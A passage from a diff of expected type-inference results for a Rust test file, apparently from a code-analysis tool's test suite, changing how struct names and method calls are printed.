S2 | -| main.rs:137:26:137:31 | y.m2(...) | | main.rs:101:5:102:14 | struct S2 | +| main.rs:123:13:123:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:123:13:123:13 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:123:17:123:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:123:17:123:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | +| main.rs:123:30:123:31 | S1 | | main.rs:99:5:100:14 | S1 | +| main.rs:124:13:124:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:124:13:124:13 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:124:17:124:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:124:17:124:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:124:30:124:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:127:26:127:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:127:26:127:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:127:26:127:28 | x.a | | main.rs:99:5:100:14 | S1 | +| main.rs:128:26:128:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:128:26:128:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:128:26:128:28 | y.a | | main.rs:101:5:102:14 | S2 | +| main.rs:130:26:130:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:130:26:130:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:131:26:131:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:131:26:131:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:133:13:133:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:133:13:133:13 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:133:17:133:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:133:17:133:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | +| main.rs:133:30:133:31 | S1 | | main.rs:99:5:100:14 | S1 | +| main.rs:134:13:134:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:134:13:134:13 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:134:17:134:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:134:17:134:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:134:30:134:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:136:26:136:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:136:26:136:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:136:26:136:31 | x.m2() | | main.rs:99:5:100:14 | S1 | +| main.rs:137:26:137:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:137:26:137:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:137:26:137:31 | y.m2() | | main.rs:101:5:102:14 | S2 | | main.rs:153:15:153:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | | main.rs:155:15:155:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | | main.rs:158:9:160:9 | { ... } | | main.rs:152:5:161:5 | Self [trait MyTrait] | @@ -143,235 +143,235 @@ inferType | main.rs:163:43:163:43 | x | | main.rs:163:26:163:40 | T2 | | main.rs:163:56:165:5 | { ... } | | main.rs:163:22:163:23 | T1 | | main.rs:164:9:164:9 | x | | main.rs:163:26:163:40 | T2 | -| main.rs:164:9:164:14 | x.m1(...) | | main.rs:163:22:163:23 | T1 | -| main.rs:168:15:168:18 | SelfParam | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:168:15:168:18 | SelfParam | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:168:27:170:9 | { ... } | | main.rs:147:5:148:14 | struct S1 | -| main.rs:169:13:169:16 | self | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:169:13:169:16 | self | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:169:13:169:18 | self.a | | main.rs:147:5:148:14 | struct S1 | -| main.rs:174:15:174:18 | SelfParam | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:174:15:174:18 | SelfParam | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:174:29:176:9 | { ... } | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:174:29:176:9 | { ... } | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:175:13:175:30 | Self {...} | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:175:13:175:30 | Self {...} | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:175:23:175:26 | self | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:175:23:175:26 | self | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:175:23:175:28 | self.a | | main.rs:149:5:150:14 | struct S2 | -| main.rs:180:13:180:13 | x | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:180:13:180:13 | x | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:180:17:180:33 | MyThing {...} | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:180:17:180:33 | MyThing {...} | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:180:30:180:31 | S1 | | main.rs:147:5:148:14 | struct S1 | -| main.rs:181:13:181:13 | y | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:181:13:181:13 | y | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:181:17:181:33 | MyThing {...} | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:181:17:181:33 | MyThing {...} | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:181:30:181:31 | S2 | | main.rs:149:5:150:14 | struct S2 | -| main.rs:183:26:183:26 | x | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:183:26:183:26 | x | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:184:26:184:26 | y | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:184:26:184:26 | y | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:186:13:186:13 | x | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:186:13:186:13 | x | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:186:17:186:33 | MyThing {...} | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:186:17:186:33 | MyThing {...} | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:186:30:186:31 | S1 | | main.rs:147:5:148:14 | struct S1 | -| main.rs:187:13:187:13 | y | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:187:13:187:13 | y | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:187:17:187:33 | MyThing {...} | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:187:17:187:33 | MyThing {...} | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:187:30:187:31 | S2 | | main.rs:149:5:150:14 | struct S2 | -| main.rs:189:40:189:40 | x | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:189:40:189:40 | x | A | main.rs:147:5:148:14 | struct S1 | -| main.rs:190:40:190:40 | y | | main.rs:142:5:145:5 | struct MyThing | -| main.rs:190:40:190:40 | y | A | main.rs:149:5:150:14 | struct S2 | +| main.rs:164:9:164:14 | x.m1() | | main.rs:163:22:163:23 | T1 | +| main.rs:168:15:168:18 | SelfParam | | main.rs:142:5:145:5 | MyThing | +| main.rs:168:15:168:18 | SelfParam | A | main.rs:147:5:148:14 | S1 | +| main.rs:168:27:170:9 | { ... } | | main.rs:147:5:148:14 | S1 | +| main.rs:169:13:169:16 | self | | main.rs:142:5:145:5 | MyThing | +| main.rs:169:13:169:16 | self | A | main.rs:147:5:148:14 | S1 | +| main.rs:169:13:169:18 | self.a | | main.rs:147:5:148:14 | S1 | +| main.rs:174:15:174:18 | SelfParam | | main.rs:142:5:145:5 | MyThing | +| main.rs:174:15:174:18 | SelfParam | A | main.rs:149:5:150:14 | S2 | +| main.rs:174:29:176:9 | { ... } | | main.rs:142:5:145:5 | MyThing | +| main.rs:174:29:176:9 | { ... } | A | main.rs:149:5:150:14 | S2 | +| main.rs:175:13:175:30 | Self {...} | | main.rs:142:5:145:5 | MyThing | +| main.rs:175:13:175:30 | Self {...} | A | main.rs:149:5:150:14 | S2 | +| main.rs:175:23:175:26 | self | | main.rs:142:5:145:5 | MyThing | +| main.rs:175:23:175:26 | self | A | main.rs:149:5:150:14 | S2 | +| main.rs:175:23:175:28 | self.a | | main.rs:149:5:150:14 | S2 | +| main.rs:180:13:180:13 | x | | main.rs:142:5:145:5 | MyThing | +| main.rs:180:13:180:13 | x | A | main.rs:147:5:148:14 | S1 | +| main.rs:180:17:180:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | +| main.rs:180:17:180:33 | MyThing {...} | A | main.rs:147:5:148:14 | S1 | +| main.rs:180:30:180:31 | S1 | | main.rs:147:5:148:14 | S1 | +| main.rs:181:13:181:13 | y | | main.rs:142:5:145:5 | MyThing | +| main.rs:181:13:181:13 | y | A | main.rs:149:5:150:14 | S2 | +| main.rs:181:17:181:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | +| main.rs:181:17:181:33 | MyThing {...} | A | main.rs:149:5:150:14 | S2 | +| main.rs:181:30:181:31 | S2 | | main.rs:149:5:150:14 | S2 | +| main.rs:183:26:183:26 | x | | main.rs:142:5:145:5 | MyThing | +| main.rs:183:26:183:26 | x | A | main.rs:147:5:148:14 | S1 | +| main.rs:184:26:184:26 | y | | main.rs:142:5:145:5 | MyThing | +| main.rs:184:26:184:26 | y | A | main.rs:149:5:150:14 | S2 | +| main.rs:186:13:186:13 | x | | main.rs:142:5:145:5 | MyThing | +| main.rs:186:13:186:13 | x | A | main.rs:147:5:148:14 | S1 | +| main.rs:186:17:186:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | +| main.rs:186:17:186:33 | MyThing {...} | A | main.rs:147:5:148:14 | S1 | +| main.rs:186:30:186:31 | S1 | | main.rs:147:5:148:14 | S1 | +| main.rs:187:13:187:13 | y | | main.rs:142:5:145:5 | MyThing | +| main.rs:187:13:187:13 | y | A | main.rs:149:5:150:14 | S2 | +| main.rs:187:17:187:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | +| main.rs:187:17:187:33 | MyThing {...} | A | main.rs:149:5:150:14 | S2 | +| main.rs:187:30:187:31 | S2 | | main.rs:149:5:150:14 | S2 | +| main.rs:189:40:189:40 | x | | main.rs:142:5:145:5 | MyThing | +| main.rs:189:40:189:40 | x | A | main.rs:147:5:148:14 | S1 | +| main.rs:190:40:190:40 | y | | main.rs:142:5:145:5 | MyThing | +| main.rs:190:40:190:40 | y | A | main.rs:149:5:150:14 | S2 | | main.rs:206:19:206:22 | SelfParam | | main.rs:205:5:207:5 | Self [trait FirstTrait] | | main.rs:210:19:210:22 | SelfParam | | main.rs:209:5:211:5 | Self [trait SecondTrait] | | main.rs:213:64:213:64 | x | | main.rs:213:45:213:61 | T | | main.rs:215:13:215:14 | s1 | | main.rs:213:35:213:42 | I | | main.rs:215:18:215:18 | x | | main.rs:213:45:213:61 | T | -| main.rs:215:18:215:27 | x.method(...) | | main.rs:213:35:213:42 | I | +| main.rs:215:18:215:27 | x.method() | | main.rs:213:35:213:42 | I | | main.rs:216:26:216:27 | s1 | | main.rs:213:35:213:42 | I | | main.rs:219:65:219:65 | x | | main.rs:219:46:219:62 | T | | main.rs:221:13:221:14 | s2 | | main.rs:219:36:219:43 | I | | main.rs:221:18:221:18 | x | | main.rs:219:46:219:62 | T | -| main.rs:221:18:221:27 | x.method(...) | | main.rs:219:36:219:43 | I | +| main.rs:221:18:221:27 | x.method() | | main.rs:219:36:219:43 | I | | main.rs:222:26:222:27 | s2 | | main.rs:219:36:219:43 | I | | main.rs:225:49:225:49 | x | | main.rs:225:30:225:46 | T | -| main.rs:226:13:226:13 | s | | main.rs:197:5:198:14 | struct S1 | +| main.rs:226:13:226:13 | s | | main.rs:197:5:198:14 | S1 | | main.rs:226:17:226:17 | x | | main.rs:225:30:225:46 | T | -| main.rs:226:17:226:26 | x.method(...) | | main.rs:197:5:198:14 | struct S1 | -| main.rs:227:26:227:26 | s | | main.rs:197:5:198:14 | struct S1 | +| main.rs:226:17:226:26 | x.method() | | main.rs:197:5:198:14 | S1 | +| main.rs:227:26:227:26 | s | | main.rs:197:5:198:14 | S1 | | main.rs:230:53:230:53 | x | | main.rs:230:34:230:50 | T | -| main.rs:231:13:231:13 | s | | main.rs:197:5:198:14 | struct S1 | +| main.rs:231:13:231:13 | s | | main.rs:197:5:198:14 | S1 | | main.rs:231:17:231:17 | x | | main.rs:230:34:230:50 | T | -| main.rs:231:17:231:26 | x.method(...) | | main.rs:197:5:198:14 | struct S1 | -| main.rs:232:26:232:26 | s | | main.rs:197:5:198:14 | struct S1 | +| main.rs:231:17:231:26 | x.method() | | main.rs:197:5:198:14 | S1 | +| main.rs:232:26:232:26 | s | | main.rs:197:5:198:14 | S1 | | main.rs:236:16:236:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | | main.rs:238:16:238:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | | main.rs:241:58:241:58 | x | | main.rs:241:41:241:55 | T | | main.rs:241:64:241:64 | y | | main.rs:241:41:241:55 | T | -| main.rs:243:13:243:14 | s1 | | main.rs:197:5:198:14 | struct S1 | +| main.rs:243:13:243:14 | s1 | | main.rs:197:5:198:14 | S1 | | main.rs:243:18:243:18 | x | | main.rs:241:41:241:55 | T | -| main.rs:243:18:243:24 | x.fst(...) | | main.rs:197:5:198:14 | struct S1 | -| main.rs:244:13:244:14 | s2 | | main.rs:200:5:201:14 | struct S2 | +| main.rs:243:18:243:24 | x.fst() | | main.rs:197:5:198:14 | S1 | +| main.rs:244:13:244:14 | s2 | | main.rs:200:5:201:14 | S2 | | main.rs:244:18:244:18 | y | | main.rs:241:41:241:55 | T | -| main.rs:244:18:244:24 | y.snd(...) | | main.rs:200:5:201:14 | struct S2 | -| main.rs:245:32:245:33 | s1 | | main.rs:197:5:198:14 | struct S1 | -| main.rs:245:36:245:37 | s2 | | main.rs:200:5:201:14 | struct S2 | +| main.rs:244:18:244:24 | y.snd() | | main.rs:200:5:201:14 | S2 | +| main.rs:245:32:245:33 | s1 | | main.rs:197:5:198:14 | S1 | +| main.rs:245:36:245:37 | s2 | | main.rs:200:5:201:14 | S2 | | main.rs:248:69:248:69 | x | | main.rs:248:52:248:66 | T | | main.rs:248:75:248:75 | y | | main.rs:248:52:248:66 | T | -| main.rs:250:13:250:14 | s1 | | main.rs:197:5:198:14 | struct S1 | +| main.rs:250:13:250:14 | s1 | | main.rs:197:5:198:14 | S1 | | main.rs:250:18:250:18 | x | | main.rs:248:52:248:66 | T | -| main.rs:250:18:250:24 | x.fst(...) | | main.rs:197:5:198:14 | struct S1 | +| main.rs:250:18:250:24 | x.fst() | | main.rs:197:5:198:14 | S1 | | main.rs:251:13:251:14 | s2 | | main.rs:248:41:248:49 | T2 | | main.rs:251:18:251:18 | y | | main.rs:248:52:248:66 | T | -| main.rs:251:18:251:24 | y.snd(...) | | main.rs:248:41:248:49 | T2 | -| main.rs:252:32:252:33 | s1 | | main.rs:197:5:198:14 | struct S1 | +| main.rs:251:18:251:24 | y.snd() | | main.rs:248:41:248:49 | T2 | +| main.rs:252:32:252:33 | s1 | | main.rs:197:5:198:14 | S1 | | main.rs:252:36:252:37 | s2 | | main.rs:248:41:248:49 | T2 | | main.rs:268:15:268:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | | main.rs:270:15:270:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | | main.rs:273:9:275:9 | { ... } | | main.rs:267:19:267:19 | A | | main.rs:274:13:274:16 | self | | main.rs:267:5:276:5 | Self [trait MyTrait] | -| main.rs:274:13:274:21 | self.m1(...) | | main.rs:267:19:267:19 | A | +| main.rs:274:13:274:21 | self.m1() | | main.rs:267:19:267:19 | A | | main.rs:279:43:279:43 | x | | main.rs:279:26:279:40 | T2 | | main.rs:279:56:281:5 | { ... } | | main.rs:279:22:279:23 | T1 | | main.rs:280:9:280:9 | x | | main.rs:279:26:279:40 | T2 | -| main.rs:280:9:280:14 | x.m1(...) | | main.rs:279:22:279:23 | T1 | -| main.rs:284:49:284:49 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:280:9:280:14 | x.m1() | | main.rs:279:22:279:23 | T1 | +| main.rs:284:49:284:49 | x | | main.rs:257:5:260:5 | MyThing | | main.rs:284:49:284:49 | x | T | main.rs:284:32:284:46 | T2 | | main.rs:284:71:286:5 | { ... } | | main.rs:284:28:284:29 | T1 | -| main.rs:285:9:285:9 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:285:9:285:9 | x | | main.rs:257:5:260:5 | MyThing | | main.rs:285:9:285:9 | x | T | main.rs:284:32:284:46 | T2 | | main.rs:285:9:285:11 | x.a | | main.rs:284:32:284:46 | T2 | -| main.rs:285:9:285:16 | ... .m1(...) | | main.rs:284:28:284:29 | T1 | -| main.rs:289:15:289:18 | SelfParam | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:285:9:285:16 | ... .m1() | | main.rs:284:28:284:29 | T1 | +| main.rs:289:15:289:18 | SelfParam | | main.rs:257:5:260:5 | MyThing | | main.rs:289:15:289:18 | SelfParam | T | main.rs:288:10:288:10 | T | | main.rs:289:26:291:9 | { ... } | | main.rs:288:10:288:10 | T | -| main.rs:290:13:290:16 | self | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:290:13:290:16 | self | | main.rs:257:5:260:5 | MyThing | | main.rs:290:13:290:16 | self | T | main.rs:288:10:288:10 | T | | main.rs:290:13:290:18 | self.a | | main.rs:288:10:288:10 | T | -| main.rs:295:13:295:13 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:295:13:295:13 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:295:17:295:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:295:17:295:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:295:30:295:31 | S1 | | main.rs:262:5:263:14 | struct S1 | -| main.rs:296:13:296:13 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:296:13:296:13 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:296:17:296:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:296:17:296:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:296:30:296:31 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:298:26:298:26 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:298:26:298:26 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:298:26:298:31 | x.m1(...) | | main.rs:262:5:263:14 | struct S1 | -| main.rs:299:26:299:26 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:299:26:299:31 | y.m1(...) | | main.rs:264:5:265:14 | struct S2 | -| main.rs:301:13:301:13 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:301:17:301:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:301:30:301:31 | S1 | | main.rs:262:5:263:14 | struct S1 | -| main.rs:302:13:302:13 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:302:17:302:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:302:30:302:31 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:304:26:304:26 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:304:26:304:31 | x.m2(...) | | main.rs:262:5:263:14 | struct S1 | -| main.rs:305:26:305:26 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:305:26:305:31 | y.m2(...) | | main.rs:264:5:265:14 | struct S2 | -| main.rs:307:13:307:14 | x2 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:307:13:307:14 | x2 | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:307:18:307:34 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:307:18:307:34 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:307:31:307:32 | S1 | | main.rs:262:5:263:14 | struct S1 | -| main.rs:308:13:308:14 | y2 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:308:13:308:14 | y2 | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:308:18:308:34 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:308:31:308:32 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:310:26:310:42 | call_trait_m1(...) | | main.rs:262:5:263:14 | struct S1 | -| main.rs:310:40:310:41 | x2 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:311:26:311:42 | call_trait_m1(...) | | main.rs:264:5:265:14 | struct S2 | -| main.rs:311:40:311:41 | y2 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:313:13:313:14 | x3 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:313:13:313:14 | x3 | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:313:13:313:14 | x3 | T.T | main.rs:262:5:263:14 | struct S1 | -| main.rs:313:18:315:9 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:313:18:315:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:313:18:315:9 | MyThing {...} | T.T | main.rs:262:5:263:14 | struct S1 | -| main.rs:314:16:314:32 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:314:16:314:32 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | -| main.rs:314:29:314:30 | S1 | | main.rs:262:5:263:14 | struct S1 | -| main.rs:316:13:316:14 | y3 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:316:13:316:14 | y3 | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:316:13:316:14 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | -| main.rs:316:18:318:9 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:316:18:318:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:316:18:318:9 | MyThing {...} | T.T | main.rs:264:5:265:14 | struct S2 | -| main.rs:317:16:317:32 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | -| main.rs:317:29:317:30 | S2 | | main.rs:264:5:265:14 | struct S2 | -| main.rs:320:26:320:48 | call_trait_thing_m1(...) | | main.rs:262:5:263:14 | struct S1 | -| main.rs:320:46:320:47 | x3 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:320:46:320:47 | x3 | T.T | main.rs:262:5:263:14 | struct S1 | -| main.rs:321:26:321:48 | call_trait_thing_m1(...) | | main.rs:264:5:265:14 | struct S2 | -| main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | struct MyThing | -| main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | +| main.rs:295:13:295:13 | x | | main.rs:257:5:260:5 | MyThing | +| main.rs:295:13:295:13 | x | T | main.rs:262:5:263:14 | S1 | +| main.rs:295:17:295:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:295:17:295:33 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | +| main.rs:295:30:295:31 | S1 | | main.rs:262:5:263:14 | S1 | +| main.rs:296:13:296:13 | y | | main.rs:257:5:260:5 | MyThing | +| main.rs:296:13:296:13 | y | T | main.rs:264:5:265:14 | S2 | +| main.rs:296:17:296:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:296:17:296:33 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | +| main.rs:296:30:296:31 | S2 | | main.rs:264:5:265:14 | S2 | +| main.rs:298:26:298:26 | x | | main.rs:257:5:260:5 | MyThing | +| main.rs:298:26:298:26 | x | T | main.rs:262:5:263:14 | S1 | +| main.rs:298:26:298:31 | x.m1() | | main.rs:262:5:263:14 | S1 | +| main.rs:299:26:299:26 | y | | main.rs:257:5:260:5 | MyThing | +| main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | S2 | +| main.rs:299:26:299:31 | y.m1() | | main.rs:264:5:265:14 | S2 | +| main.rs:301:13:301:13 | x | | main.rs:257:5:260:5 | MyThing | +| main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | S1 | +| main.rs:301:17:301:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | +| main.rs:301:30:301:31 | S1 | | main.rs:262:5:263:14 | S1 | +| main.rs:302:13:302:13 | y | | main.rs:257:5:260:5 | MyThing | +| main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | S2 | +| main.rs:302:17:302:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | +| main.rs:302:30:302:31 | S2 | | main.rs:264:5:265:14 | S2 | +| main.rs:304:26:304:26 | x | | main.rs:257:5:260:5 | MyThing | +| main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | S1 | +| main.rs:304:26:304:31 | x.m2() | | main.rs:262:5:263:14 | S1 | +| main.rs:305:26:305:26 | y | | main.rs:257:5:260:5 | MyThing | +| main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | S2 | +| main.rs:305:26:305:31 | y.m2() | | main.rs:264:5:265:14 | S2 | +| main.rs:307:13:307:14 | x2 | | main.rs:257:5:260:5 | MyThing | +| main.rs:307:13:307:14 | x2 | T | main.rs:262:5:263:14 | S1 | +| main.rs:307:18:307:34 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:307:18:307:34 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | +| main.rs:307:31:307:32 | S1 | | main.rs:262:5:263:14 | S1 | +| main.rs:308:13:308:14 | y2 | | main.rs:257:5:260:5 | MyThing | +| main.rs:308:13:308:14 | y2 | T | main.rs:264:5:265:14 | S2 | +| main.rs:308:18:308:34 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | +| main.rs:308:31:308:32 | S2 | | main.rs:264:5:265:14 | S2 | +| main.rs:310:26:310:42 | call_trait_m1(...) | | main.rs:262:5:263:14 | S1 | +| main.rs:310:40:310:41 | x2 | | main.rs:257:5:260:5 | MyThing | +| main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | S1 | +| main.rs:311:26:311:42 | call_trait_m1(...) | | main.rs:264:5:265:14 | S2 | +| main.rs:311:40:311:41 | y2 | | main.rs:257:5:260:5 | MyThing | +| main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | S2 | +| main.rs:313:13:313:14 | x3 | | main.rs:257:5:260:5 | MyThing | +| main.rs:313:13:313:14 | x3 | T | main.rs:257:5:260:5 | MyThing | +| main.rs:313:13:313:14 | x3 | T.T | main.rs:262:5:263:14 | S1 | +| main.rs:313:18:315:9 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:313:18:315:9 | MyThing {...} | T | main.rs:257:5:260:5 | MyThing | +| main.rs:313:18:315:9 | MyThing {...} | T.T | main.rs:262:5:263:14 | S1 | +| main.rs:314:16:314:32 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:314:16:314:32 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | +| main.rs:314:29:314:30 | S1 | | main.rs:262:5:263:14 | S1 | +| main.rs:316:13:316:14 | y3 | | main.rs:257:5:260:5 | MyThing | +| main.rs:316:13:316:14 | y3 | T | main.rs:257:5:260:5 | MyThing | +| main.rs:316:13:316:14 | y3 | T.T | main.rs:264:5:265:14 | S2 | +| main.rs:316:18:318:9 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:316:18:318:9 | MyThing {...} | T | main.rs:257:5:260:5 | MyThing | +| main.rs:316:18:318:9 | MyThing {...} | T.T | main.rs:264:5:265:14 | S2 | +| main.rs:317:16:317:32 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | +| main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | +| main.rs:317:29:317:30 | S2 | | main.rs:264:5:265:14 | S2 | +| main.rs:320:26:320:48 | call_trait_thing_m1(...) | | main.rs:262:5:263:14 | S1 | +| main.rs:320:46:320:47 | x3 | | main.rs:257:5:260:5 | MyThing | +| main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | MyThing | +| main.rs:320:46:320:47 | 